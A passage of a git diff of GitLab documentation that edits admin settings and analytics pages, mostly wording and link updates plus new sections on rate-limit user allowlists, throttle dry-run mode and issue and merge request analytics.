Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Project/Group Import/Export rate limits diff --git a/doc/user/admin_area/settings/index.md b/doc/user/admin_area/settings/index.md index 21d495de5b7..a7641ec22ca 100644 --- a/doc/user/admin_area/settings/index.md +++ b/doc/user/admin_area/settings/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index --- @@ -34,7 +34,8 @@ Access the default page for admin area settings by navigating to **Admin Area > | Option | Description | | ------ | ----------- | | [Elasticsearch](../../../integration/elasticsearch.md#enabling-advanced-search) | Elasticsearch integration. Elasticsearch AWS IAM. | -| [PlantUML](../../../administration/integration/plantuml.md#gitlab) | Allow rendering of PlantUML diagrams in AsciiDoc documents. | +| [Kroki](../../../administration/integration/kroki.md#enable-kroki-in-gitlab) | Allow rendering of diagrams in AsciiDoc and Markdown documents using [kroki.io](https://kroki.io). | +| [PlantUML](../../../administration/integration/plantuml.md#gitlab) | Allow rendering of PlantUML diagrams in AsciiDoc and Markdown documents. | | [Slack application](../../../user/project/integrations/gitlab_slack_application.md#configuration) **(FREE ONLY)** | Slack integration allows you to interact with GitLab via slash commands in a chat window. This option is only available on GitLab.com, though it may be [available for self-managed instances in the future](https://gitlab.com/gitlab-org/gitlab/-/issues/28164). | | [Third party offers](third_party_offers.md) | Control the display of third party offers. | | [Snowplow](../../../development/product_analytics/snowplow.md) | Configure the Snowplow integration. | @@ -63,8 +64,8 @@ Access the default page for admin area settings by navigating to **Admin Area > | Option | Description | | ------ | ----------- | | [Continuous Integration and Deployment](continuous_integration.md) | Auto DevOps, runners and job artifacts. | -| [Required pipeline configuration](continuous_integration.md#required-pipeline-configuration) **(PREMIUM ONLY)** | Set an instance-wide auto included [pipeline configuration](../../../ci/yaml/README.md). This pipeline configuration will be run after the project's own configuration. | -| [Package Registry](continuous_integration.md#package-registry-configuration) | Settings related to the use and experience of using GitLab's Package Registry. Note there are [risks involved](../../packages/container_registry/index.md#use-with-external-container-registries) in enabling some of these settings. | +| [Required pipeline configuration](continuous_integration.md#required-pipeline-configuration) **(PREMIUM ONLY)** | Set an instance-wide auto included [pipeline configuration](../../../ci/yaml/README.md). This pipeline configuration is run after the project's own configuration. | +| [Package Registry](continuous_integration.md#package-registry-configuration) | Settings related to the use and experience of using the GitLab Package Registry. Note there are [risks involved](../../packages/container_registry/index.md#use-with-external-container-registries) in enabling some of these settings. | ## Reporting @@ -98,7 +99,7 @@ Access the default page for admin area settings by navigating to **Admin Area > | Option | Description | | ------ | ----------- | -| Geo | Geo allows you to replicate your GitLab instance to other geographical locations. Redirects to **Admin Area > Geo > Settings**, and will no longer be available at **Admin Area > Settings > Geo** in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/36896). | +| Geo | Geo allows you to replicate your GitLab instance to other geographical locations. Redirects to **Admin Area > Geo > Settings** are no longer available at **Admin Area > Settings > Geo** in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/36896). | ## Preferences @@ -111,6 +112,6 @@ Access the default page for admin area settings by navigating to **Admin Area > | [Gitaly timeouts](gitaly_timeouts.md) | Configure Gitaly timeouts. | | Localization | [Default first day of the week](../../profile/preferences.md) and [Time tracking](../../project/time_tracking.md#limit-displayed-units-to-hours). | -NOTE: **Note:** +NOTE: You can change the [Default first day of the week](../../profile/preferences.md) for the entire GitLab instance in the **Localization** section of **Admin Area > Settings > Preferences**. diff --git a/doc/user/admin_area/settings/instance_template_repository.md b/doc/user/admin_area/settings/instance_template_repository.md index 20f2812bc39..42fa7fe6f54 100644 --- a/doc/user/admin_area/settings/instance_template_repository.md +++ b/doc/user/admin_area/settings/instance_template_repository.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- diff --git a/doc/user/admin_area/settings/project_integration_management.md b/doc/user/admin_area/settings/project_integration_management.md index c09bb6f3c67..fe4e84b98ac 100644 --- a/doc/user/admin_area/settings/project_integration_management.md +++ b/doc/user/admin_area/settings/project_integration_management.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Project integration management @@ -26,7 +26,7 @@ Only the complete settings for an integration can be inherited. Per-field inheri 1. Select an integration. 1. Enter configuration details and click **Save changes**. -CAUTION: **Caution:** +WARNING: This may affect all or most of the groups and projects on your GitLab instance. Please review the details below. @@ -59,7 +59,7 @@ integration on all non-configured groups and projects by default. 1. Select an integration. 1. Enter configuration details and click **Save changes**. -CAUTION: **Caution:** +WARNING: This may affect all or most of the subgroups and projects belonging to the group. Please review the details below. If this is the first time you are setting up group-level settings for an integration: diff --git a/doc/user/admin_area/settings/protected_paths.md b/doc/user/admin_area/settings/protected_paths.md index bb6fff9650d..870735f5be7 100644 --- a/doc/user/admin_area/settings/protected_paths.md +++ b/doc/user/admin_area/settings/protected_paths.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- diff --git a/doc/user/admin_area/settings/push_event_activities_limit.md b/doc/user/admin_area/settings/push_event_activities_limit.md index cf23ea12ef4..484bb7b0a14 100644 --- a/doc/user/admin_area/settings/push_event_activities_limit.md +++ b/doc/user/admin_area/settings/push_event_activities_limit.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- diff --git a/doc/user/admin_area/settings/rate_limit_on_issues_creation.md b/doc/user/admin_area/settings/rate_limit_on_issues_creation.md index 3f8ef7c9d01..30cc64ccaa0 100644 --- a/doc/user/admin_area/settings/rate_limit_on_issues_creation.md +++ b/doc/user/admin_area/settings/rate_limit_on_issues_creation.md @@ -2,7 +2,7 @@ type: reference stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Rate limits on issue creation diff --git a/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md b/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md index 96cd71033d0..9ffd46e9ba6 100644 --- a/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md +++ b/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -12,7 +12,7 @@ type: reference This setting allows you to rate limit the requests to raw endpoints, defaults to `300` requests per minute. It can be modified in **Admin Area > Settings > Network > Performance Optimization**. -For example, requests over `300` per minute to `https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/controllers/application_controller.rb` will be blocked. Access to the raw file will be released after 1 minute. +For example, requests over `300` per minute to `https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/controllers/application_controller.rb` are blocked. Access to the raw file is released after 1 minute.  diff --git a/doc/user/admin_area/settings/sign_in_restrictions.md b/doc/user/admin_area/settings/sign_in_restrictions.md index 7ab1d396e8b..92ad8eced95 100644 --- a/doc/user/admin_area/settings/sign_in_restrictions.md +++ b/doc/user/admin_area/settings/sign_in_restrictions.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -25,9 +25,9 @@ You can restrict the password authentication for web interface and Git over HTTP ## Two-factor authentication -When this feature enabled, all users will have to use the [two-factor authentication](../../profile/account/two_factor_authentication.md). +When this feature enabled, all users must use the [two-factor authentication](../../profile/account/two_factor_authentication.md). -Once the two-factor authentication is configured as mandatory, the users will be allowed +Once the two-factor authentication is configured as mandatory, the users are allowed to skip forced configuration of two-factor authentication for the configurable grace period in hours. @@ -44,13 +44,13 @@ see [Email notification for unknown sign-ins](../../profile/unknown_sign_in_noti ## Sign-in information -All users that are not logged-in will be redirected to the page represented by the configured -"Home page URL" if value is not empty. +All users that are not logged in are redirected to the page represented by the configured +**Home page URL** if value is not empty. -All users will be redirect to the page represented by the configured "After sign out path" +All users are redirected to the page represented by the configured **After sign out path** after sign out if value is not empty. -In the Sign-in restrictions section, scroll to the "Sign-in text" text box. You can add a +In the **Sign-in restrictions** section, scroll to the **Sign-in text** field. You can add a custom message for your users in Markdown format. For example, if you include the following information in the noted text box: @@ -61,7 +61,7 @@ For example, if you include the following information in the noted text box: To access this text box, navigate to Admin Area > Settings > General, and expand the "Sign-in restrictions" section. ``` -Your users will see the "Custom sign-in text" when they navigate to the sign-in screen for your +Your users see the **Custom sign-in text** when they navigate to the sign-in screen for your GitLab instance:  diff --git a/doc/user/admin_area/settings/sign_up_restrictions.md b/doc/user/admin_area/settings/sign_up_restrictions.md index 5ea034ff4d2..213c8c4116a 100644 --- a/doc/user/admin_area/settings/sign_up_restrictions.md +++ b/doc/user/admin_area/settings/sign_up_restrictions.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -51,10 +51,13 @@ To enforce confirmation of the email address used for new sign ups: > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4315) in GitLab 13.6. -When the number of users reaches the user cap, any user who is added or requests access must be +When the number of billable users reaches the user cap, any user who is added or requests access must be [approved](../approving_users.md#approving-a-user) by an administrator before they can start using their account. +If an administrator increases or removes the user cap, the users in pending approval state will be +automatically approved in a background job. + ## Soft email confirmation > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/47003) in GitLab 12.2. @@ -63,7 +66,7 @@ their account. > - It's recommended for production use. > - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-soft-email-confirmation). -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. The soft email confirmation improves the signup experience for new users by allowing diff --git a/doc/user/admin_area/settings/terms.md b/doc/user/admin_area/settings/terms.md index 95c32af5716..b6826035116 100644 --- a/doc/user/admin_area/settings/terms.md +++ b/doc/user/admin_area/settings/terms.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -29,7 +29,7 @@ To enforce acceptance of a Terms of Service and Privacy Policy:  For each update to the terms, a new version is stored. When a user accepts or declines the terms, -GitLab will record which version they accepted or declined. +GitLab records which version they accepted or declined. ## New users @@ -37,28 +37,28 @@ When this feature is enabled, a checkbox is added to the sign-up form.  -This checkbox will be required during sign up. +This checkbox is required during sign up. Users can review the terms entered in the admin panel before -accepting. The page will be opened in a new window so they can +accepting. The page is opened in a new window so they can continue their registration afterwards. ## Accepting terms When this feature is enabled, the users that have not accepted the -terms of service will be presented with a screen where they can either +terms of service are presented with a screen where they can either accept or decline the terms.  -If the user accepts the terms, they will be directed to where they -were going. After a sign-in or sign-up this will most likely be the +If the user accepts the terms, they are directed to where they +were going. After a sign-in or sign-up this is most likely the dashboard. If the user was already logged in when the feature was turned on, -they will be asked to accept the terms on their next interaction. +they are asked to accept the terms on their next interaction. -If a user declines the terms, they will be signed out. +If a user declines the terms, they are signed out. <!-- ## Troubleshooting diff --git a/doc/user/admin_area/settings/third_party_offers.md b/doc/user/admin_area/settings/third_party_offers.md index f0e53115cb1..84511339842 100644 --- a/doc/user/admin_area/settings/third_party_offers.md +++ b/doc/user/admin_area/settings/third_party_offers.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- diff --git a/doc/user/admin_area/settings/usage_statistics.md b/doc/user/admin_area/settings/usage_statistics.md index d4080b3921a..02b1428177f 100644 --- a/doc/user/admin_area/settings/usage_statistics.md +++ b/doc/user/admin_area/settings/usage_statistics.md @@ -1,13 +1,13 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- # Usage statistics **(CORE ONLY)** -GitLab Inc. will periodically collect information about your instance in order +GitLab Inc. periodically collects information about your instance in order to perform various actions. All statistics are opt-out. You can enable/disable them in the @@ -22,7 +22,7 @@ If your GitLab instance is behind a proxy, set the appropriate [proxy configurat ## Version Check **(CORE ONLY)** -If enabled, version check will inform you if a new version is available and the +If enabled, version check informs you if a new version is available and the importance of it through a status. This is shown on the help page (i.e. `/help`) for all signed in users, and on the admin pages. The statuses are: @@ -37,10 +37,10 @@ GitLab Inc. collects your instance's version and hostname (through the HTTP referer) as part of the version check. No other information is collected. This information is used, among other things, to identify to which versions -patches will need to be backported, making sure active GitLab instances remain +patches must be backported, making sure active GitLab instances remain secure. -If you disable version check, this information will not be collected. Enable or +If you disable version check, this information isn't collected. Enable or disable the version check in **Admin Area > Settings > Metrics and profiling > Usage statistics**. ### Request flow example @@ -65,8 +65,8 @@ See [Usage Ping guide](../../../development/product_analytics/usage_ping.md). ## Instance-level statistics **(CORE ONLY)** -Once usage ping is enabled, GitLab will gather data from other instances and -will be able to show [usage statistics](../analytics/index.md) +After usage ping is enabled, GitLab gathers data from other instances and +can show [usage statistics](../analytics/index.md) of your instance to your admins in **Admin Area > Analytics**. <!-- ## Troubleshooting diff --git a/doc/user/admin_area/settings/user_and_ip_rate_limits.md b/doc/user/admin_area/settings/user_and_ip_rate_limits.md index af3e0c5b63b..3f0d75dc682 100644 --- a/doc/user/admin_area/settings/user_and_ip_rate_limits.md +++ b/doc/user/admin_area/settings/user_and_ip_rate_limits.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -53,12 +53,70 @@ users to not set that header and bypass the GitLab rate limiter. Note that the bypass only works if the header is set to `1`. Requests that bypassed the rate limiter because of the bypass header -will be marked with `"throttle_safelist":"throttle_bypass_header"` in +are marked with `"throttle_safelist":"throttle_bypass_header"` in [`production_json.log`](../../../administration/logs.md#production_jsonlog). To disable the bypass mechanism, make sure the environment variable `GITLAB_THROTTLE_BYPASS_HEADER` is unset or empty. +## Allowing specific users to bypass authenticated request rate limiting + +Similarly to the bypass header described above, it is possible to allow +a certain set of users to bypass the rate limiter. This only applies +to authenticated requests: with unauthenticated requests, by definition +GitLab does not know who the user is. + +The allowlist is configured as a comma-separated list of user IDs in +the `GITLAB_THROTTLE_USER_ALLOWLIST` environment variable. If you want +users 1, 53 and 217 to bypass the authenticated request rate limiter, +the allowlist configuration would be `1,53,217`. + +- For [Omnibus](https://docs.gitlab.com/omnibus/settings/environment-variables.html), + set `'GITLAB_THROTTLE_USER_ALLOWLIST' => '1,53,217'` in `gitlab_rails['env']`. +- For source installations, set `export GITLAB_THROTTLE_USER_ALLOWLIST=1,53,217` + in `/etc/default/gitlab`. + +Requests that bypassed the rate limiter because of the user allowlist +are marked with `"throttle_safelist":"throttle_user_allowlist"` in +[`production_json.log`](../../../administration/logs.md#production_jsonlog). + +At application startup, the allowlist is logged in [`auth.log`](../../../administration/logs.md#authlog). + +## Trying out throttling settings before enforcing them + +> [Introduced](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/629) in GitLab 13.6. + +Trying out throttling settings can be done by setting the +`GITLAB_THROTTLE_DRY_RUN` environment variable to a comma-separated +list of throttle names. + +The possible names are: + +- `throttle_unauthenticated` +- `throttle_authenticated_api` +- `throttle_authenticated_web` +- `throttle_unauthenticated_protected_paths` +- `throttle_authenticated_protected_paths_api` +- `throttle_authenticated_protected_paths_web` + +For example: trying out throttles for all authenticated requests to +non-protected paths could be done by setting +`GITLAB_THROTTLE_DRY_RUN='throttle_authenticated_web,throttle_authenticated_api'`. + +To enable the dry-run mode for all throttles, the variable can be set +to `*`. + +Setting a throttle to dry-run mode will log a message to the +[`auth.log`](../../../administration/logs.md#authlog) when it would +hit the limit, while letting the request continue as normal. The log +message will contain an `env` field set to `track`. The `matched` +field will contain the name of throttle that was hit. + +It is important to set the environment variable **before** enabling +the rate limiting in the settings. The settings in the admin panel +take effect immediately, while setting the environment variable +requires a restart of all the Puma processes. + <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/user/admin_area/settings/visibility_and_access_controls.md b/doc/user/admin_area/settings/visibility_and_access_controls.md index 3740dc95c12..fe1841e7020 100644 --- a/doc/user/admin_area/settings/visibility_and_access_controls.md +++ b/doc/user/admin_area/settings/visibility_and_access_controls.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- @@ -43,7 +43,7 @@ To do this: 1. Uncheck the **Allow owners to manage default branch protection per group** checkbox. -NOTE: **Note:** +NOTE: GitLab administrators can still update the default branch protection of a group. ## Default project creation protection @@ -74,7 +74,7 @@ To ensure only admin users can delete projects: By default, a project marked for deletion will be permanently removed with immediate effect. By default, a group marked for deletion will be permanently removed after 7 days. -CAUTION: **Warning:** +WARNING: The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6 was changed to [Immediate deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) in GitLab 13.2. @@ -151,7 +151,7 @@ For more details, see [Exporting a project and its data](../../../user/project/s > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/4696) in GitLab 8.10. -With GitLab's access restrictions, you can select with which protocols users can communicate with +With GitLab access restrictions, you can select with which protocols users can communicate with GitLab. Disabling an access protocol does not block access to the server itself via those ports. The ports @@ -180,7 +180,7 @@ When only one protocol is enabled: On top of these UI restrictions, GitLab will deny all Git actions on the protocol not selected. -CAUTION: **Important:** +WARNING: Starting with [GitLab 10.7](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18021), HTTP(S) protocol will be allowed for Git clone or fetch requests done by GitLab Runner from CI/CD jobs, even if _Only SSH_ was selected. @@ -208,7 +208,7 @@ To specify a custom Git clone URL for HTTP(S): 1. Enter a root URL for **Custom Git clone URL for HTTP(S)**. 1. Click on **Save changes**. -NOTE: **Note:** +NOTE: SSH clone URLs can be customized in `gitlab.rb` by setting `gitlab_rails['gitlab_ssh_host']` and other related settings. diff --git a/doc/user/admin_area/user_cohorts.md b/doc/user/admin_area/user_cohorts.md index ec0153ac3b6..a95501c0bde 100644 --- a/doc/user/admin_area/user_cohorts.md +++ b/doc/user/admin_area/user_cohorts.md @@ -3,3 +3,6 @@ redirect_to: 'analytics/user_cohorts.md' --- This document was moved to [another location](analytics/user_cohorts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/analytics/code_review_analytics.md b/doc/user/analytics/code_review_analytics.md index dc956765794..745774480b0 100644 --- a/doc/user/analytics/code_review_analytics.md +++ b/doc/user/analytics/code_review_analytics.md @@ -1,8 +1,8 @@ --- description: "Learn how long your open merge requests have spent in code review, and what distinguishes the longest-running." # Up to ~200 chars long. They will be displayed in Google Search snippets. It may help to write the page intro first, and then reuse it here. stage: Manage -group: Value Stream Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Optimize +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -16,7 +16,7 @@ enables you to: 1. Take action on individual merge requests. 1. Reduce overall cycle time. -NOTE: **Note:** +NOTE: Initially, no data appears. Data is populated as users comment on open merge requests. ## Overview @@ -37,7 +37,7 @@ The table is sorted by: ## Use cases -This feature is designed for [development team leaders](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#delaney-development-team-lead) +This feature is designed for [development team leaders](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#delaney-development-team-lead) and others who want to understand broad code review dynamics, and identify patterns to explain them. You can use Code Review Analytics to: diff --git a/doc/user/analytics/cycle_analytics.md b/doc/user/analytics/cycle_analytics.md index 9d1cc508f63..5c235f6708b 100644 --- a/doc/user/analytics/cycle_analytics.md +++ b/doc/user/analytics/cycle_analytics.md @@ -3,3 +3,6 @@ redirect_to: '../analytics/value_stream_analytics.md' --- This document was moved to [another location](../analytics/value_stream_analytics.md) + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/analytics/img/issues_created_per_month_v12_8.png b/doc/user/analytics/img/issues_created_per_month_v12_8.png Binary files differnew file mode 100644 index 00000000000..fccfa949779 --- /dev/null +++ b/doc/user/analytics/img/issues_created_per_month_v12_8.png diff --git a/doc/user/analytics/img/issues_table_v13_1.png b/doc/user/analytics/img/issues_table_v13_1.png Binary files differnew file mode 100644 index 00000000000..3e8a729a884 --- /dev/null +++ b/doc/user/analytics/img/issues_table_v13_1.png diff --git a/doc/user/analytics/index.md b/doc/user/analytics/index.md index 29df25d76af..adfd09d8526 100644 --- a/doc/user/analytics/index.md +++ b/doc/user/analytics/index.md @@ -1,7 +1,7 @@ --- stage: Manage -group: Value Stream Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Optimize +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Analytics diff --git a/doc/user/analytics/issue_analytics.md b/doc/user/analytics/issue_analytics.md new file mode 100644 index 00000000000..0aa135ab88d --- /dev/null +++ b/doc/user/analytics/issue_analytics.md @@ -0,0 +1,45 @@ +--- +type: reference +stage: Manage +group: Optimize +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Issue Analytics **(PREMIUM)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196561) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.9. + +Issue Analytics is a bar graph which illustrates the number of issues created each month. +The default timespan is 13 months, which includes the current month, and the 12 months +prior. + +To access the chart, navigate to your project sidebar and select **{chart}** **Analytics > Issue Analytics**. + +Hover over each bar to see the total number of issues. + +To narrow the scope of issues included in the graph, enter your criteria in the +**Search or filter results...** field. Criteria from the following list can be typed in or selected from a menu: + +- Author +- Assignee +- Milestone +- Label +- My reaction +- Weight + +You can change the total number of months displayed by setting a URL parameter. +For example, `https://gitlab.com/groups/gitlab-org/-/issues_analytics?months_back=15` +shows a total of 15 months for the chart in the GitLab.org group. + + + +## Drill into the information + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196547) in GitLab 13.1. + +You can examine details of individual issues by browsing the table +located below the chart. + +The chart displays the top 100 issues based on the global page filters. + + diff --git a/doc/user/analytics/merge_request_analytics.md b/doc/user/analytics/merge_request_analytics.md index 5402d9a20a0..c0fe19f1f16 100644 --- a/doc/user/analytics/merge_request_analytics.md +++ b/doc/user/analytics/merge_request_analytics.md @@ -1,8 +1,8 @@ --- description: "Merge Request Analytics help you understand the efficiency of your code review process, and the productivity of your team." # Up to ~200 chars long. They will be displayed in Google Search snippets. It may help to write the page intro first, and then reuse it here. stage: Manage -group: Value Stream Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Optimize +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Merge Request Analytics **(STARTER)** @@ -23,7 +23,7 @@ To access Merge Request Analytics, from your project's menu, go to **Analytics > ## Use cases -This feature is designed for [development team leaders](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#delaney-development-team-lead) +This feature is designed for [development team leaders](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#delaney-development-team-lead) and others who want to understand broad patterns in code review and productivity. You can use Merge Request Analytics to expose when your team is most and least productive, and @@ -36,7 +36,7 @@ Merge Request Analytics could be used when: ## Visualizations and data -The following visualizations and data are available, representing all merge requests that were merged in the past 12 months. +The following visualizations and data are available, representing all merge requests that were merged in the given date range. ### Throughput chart @@ -46,7 +46,25 @@ The throughput chart shows the number of merge requests merged per month. ### Throughput table -Data table displaying a maximum of the 100 most recent merge requests merged for the time period. +[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232651) in GitLab 13.3. + +The Throughput table displays the most recent merge requests merged in the date range. The +table displays up to 20 merge requests at a time. If there are more than 20 merge requests, +you can paginate to them. For each merge request, you can review the following data: + +- Title (as a link to the merge request itself) +- ID +- Pipeline status +- Label count +- Comment count +- Approval count (if approved) +- Date merged +- Time to merge +- Milestone +- Commit count +- Pipeline count +- Line change counts +- Assignees  @@ -68,6 +86,17 @@ To filter results: 1. Click on the filter bar. 1. Select a parameter to filter by. 1. Select a value from the autocompleted results, or enter search text to refine the results. +1. Hit the "Return" key. + +## Date range + +The date range is set to the past 12 months by default. You can modify the date range by changing the "From" and/or "To" values that appear alongside the filter bar. After changing either value, the data displayed on the page will update automatically. + +## Tip: Bookmark preferred settings + +You can bookmark preferred filters and date ranges. After you have applied a change to the +filter bar or the date range, you'll see that information in the URL. You can create a +bookmark for those preferred settings in your browser. ## Permissions diff --git a/doc/user/analytics/productivity_analytics.md b/doc/user/analytics/productivity_analytics.md index da3fe00a901..633d7b35087 100644 --- a/doc/user/analytics/productivity_analytics.md +++ b/doc/user/analytics/productivity_analytics.md @@ -1,7 +1,7 @@ --- stage: Manage -group: Value Stream Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Optimize +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Productivity Analytics **(PREMIUM)** diff --git a/doc/user/analytics/repository_analytics.md b/doc/user/analytics/repository_analytics.md index 3fc5478d466..f77070ea943 100644 --- a/doc/user/analytics/repository_analytics.md +++ b/doc/user/analytics/repository_analytics.md @@ -1,7 +1,7 @@ --- stage: Manage -group: Value Stream Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Optimize +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Repository Analytics @@ -23,7 +23,7 @@ The feature requires: You can find Repository Analytics in the project's sidebar. To access the page, go to **{chart}** **Analytics > Repository**. -NOTE: **Note:** +NOTE: Without a Git commit in the default branch, the menu item won't be visible. ### Charts diff --git a/doc/user/analytics/value_stream_analytics.md b/doc/user/analytics/value_stream_analytics.md index 244e37ba3ab..b5aecff5180 100644 --- a/doc/user/analytics/value_stream_analytics.md +++ b/doc/user/analytics/value_stream_analytics.md @@ -1,10 +1,10 @@ --- stage: Manage -group: Value Stream Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers 